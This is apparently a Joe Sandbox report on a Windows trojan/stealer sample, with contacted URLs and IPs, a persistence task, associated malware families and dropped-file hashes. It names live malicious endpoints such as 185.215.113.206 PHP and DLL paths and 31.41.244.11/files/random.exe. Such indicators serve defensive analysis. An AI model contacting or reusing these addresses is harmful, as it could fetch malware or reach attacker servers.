
Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	false		high
http://www.broofa.com	chromecache_538.5.dr	false		high
https://msn.comXIDv10X	Cookies.14.dr	false	Avira URL Cloud: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://ntp.msn.com/0	000003.log0.13.dr	false		high
https://ntp.msn.com/_default	QuotaManager.13.dr	false		high
https://www.last.fm/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.14.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpURE=x86PROCESSOR_	file.exe, 00000000.00000002.2740203120.00000000232C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.14.dr	false		high
https://www.youtube.com	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.14.dr	false		high
https://www.instagram.com	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://www.messenger.com	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://i.y.qq.com/n2/m/index.html	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://www.deezer.com/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://web.telegram.org/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpGdO	file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DBKKFCBAKKFBGCBFHJDG.0.dr	false		high
https://vibe.naver.com/today	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	false		high
https://assets.msn.com	c648f0b4-f22b-4423-8188-85e3d68b5e8b.tmp.14.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllw	file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://excel.new?from=EdgeM365Shoreline	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_538.5.dr	false		high
https://www.google.com/chrome	content_new.js.13.dr, content.js.13.dr	false		high
https://www.tiktok.com/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	IJECBGIJDGCAEBFIIECAKFHIJE.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.13.dr	false		high
https://chromewebstore.google.com/	manifest.json.13.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.13.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001F.00000002.3423216309.000000000098F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://chrome.google.com/webstore/	manifest.json.13.dr	false		high
https://y.music.163.com/m/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://bard.google.com/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.13.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2740203120.000000002329E000.00000004.00000020.00020000.00000000.sdmp, DBKKFCBAKKFBGCBFHJDG.0.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://web.whatsapp.com	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://m.kugou.com/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://www.office.com	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://outlook.live.com/mail/0/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.13.dr, 000003.log0.13.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpzB	file.exe, 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://powerpoint.new?from=EdgeM365Shoreline	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	false		high
http://31.41.244.11/files/random.exe50623847d	skotes.exe, 0000001F.00000002.3423216309.000000000098F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2740203120.000000002329E000.00000004.00000020.00020000.00000000.sdmp, DBKKFCBAKKFBGCBFHJDG.0.dr	false		high
https://tidal.com/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://ntp.msn.com	000003.log6.13.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpy	file.exe, 00000000.00000002.2740203120.00000000232AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gaana.com/	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.164.116.39	unknown	United States	3	MIT-GATEWAYSUS	false
2.16.158.96	unknown	European Union	20940	AKAMAI-ASN1EU	false
23.200.0.9	unknown	United States	20940	AKAMAI-ASN1EU	false
23.209.72.33	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.21	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
23.44.133.31	unknown	United States	20940	AKAMAI-ASN1EU	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.13	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.44.201.43	unknown	United States	20940	AKAMAI-ASN1EU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.16.158.184	unknown	European Union	20940	AKAMAI-ASN1EU	false
23.44.201.12	unknown	United States	20940	AKAMAI-ASN1EU	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.6
127.0.0.1
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562029
Start date and time:	2024-11-25 05:45:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/296@30/30
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.198.119.84, 172.217.19.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 142.250.181.99, 192.229.221.95, 172.217.19.170, 172.217.19.234, 142.250.181.42, 142.250.181.74, 216.58.208.234, 172.217.17.42, 172.217.21.42, 172.217.19.202, 142.250.181.138, 172.217.17.74, 142.250.181.106, 142.250.181.10, 172.217.19.10, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.6.158, 13.87.96.169, 2.19.198.56, 23.32.238.138, 172.165.61.93, 23.32.238.208, 23.32.238.240, 23.32.238.168, 2.16.158.72, 2.16.158.80, 2.16.158.90, 2.16.158.74, 2.16.158.88, 2.16.158.82, 2.16.158.58, 2.16.158.83, 2.16.158.75, 95.100.135.122, 95.100.135.112, 95.100.135.123, 95.100.135.67, 95.100.135.83, 95.100.135.91, 95.100.135.120, 95.100.135.107, 95.100.135.73, 13.74.129.1, 13.107.21.237, 204.79.197.237, 23.32.238.163, 199.232.214.172, 2.19.198.65, 142.250.65.163, 142.251.32.99, 142.250.176.195
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, wu-b-net.trafficmanager.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com,
Execution Graph export aborted for target DocumentsIDHJEBGIEB.exe, PID 5536 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8800 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8856 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:47:06	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
23:46:43	API Interceptor	149x Sleep call for process: file.exe modified
23:48:01	API Interceptor	149x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	ap4pkLeaVp.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	vs_BuildTools.zip	Get hash	malicious	Unknown	Browse	199.232.210.172
	XYrLOQoLE4.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
bg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Stealc	Browse	199.232.210.172
	FGQ-667893.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
	Outstanding Invoices_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.210.172
	lCc7eClats.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.214.172
	file.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	ListaItensVistoriaCorpodeBombeirosObrigatorio.msi	Get hash	malicious	AteraAgent	Browse	199.232.210.172
	registration.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://clever-photos-686127.framer.app/	Get hash	malicious	Unknown	Browse	52.123.128.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.75.60.91
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
MIT-GATEWAYSUS	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.106
	https://clever-photos-686127.framer.app/	Get hash	malicious	Unknown	Browse	18.66.161.42
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	apep.spc.elf	Get hash	malicious	Mirai	Browse	18.103.240.59
	apep.sh4.elf	Get hash	malicious	Mirai	Browse	19.23.38.41
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.160.60.23
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	18.66.102.106
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.66
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.78.207.208
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.166.178.22

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	425041987.html	Get hash	malicious	Unknown	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	FGQ-667893.pdf	Get hash	malicious	Unknown	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	https://clever-photos-686127.framer.app/	Get hash	malicious	Unknown	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.147.7 4.175.87.197 4.245.163.56 13.107.246.63 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.103.156.88 2.16.158.176 2.16.158.89

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAAAKJKJEBGHJKFHIDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
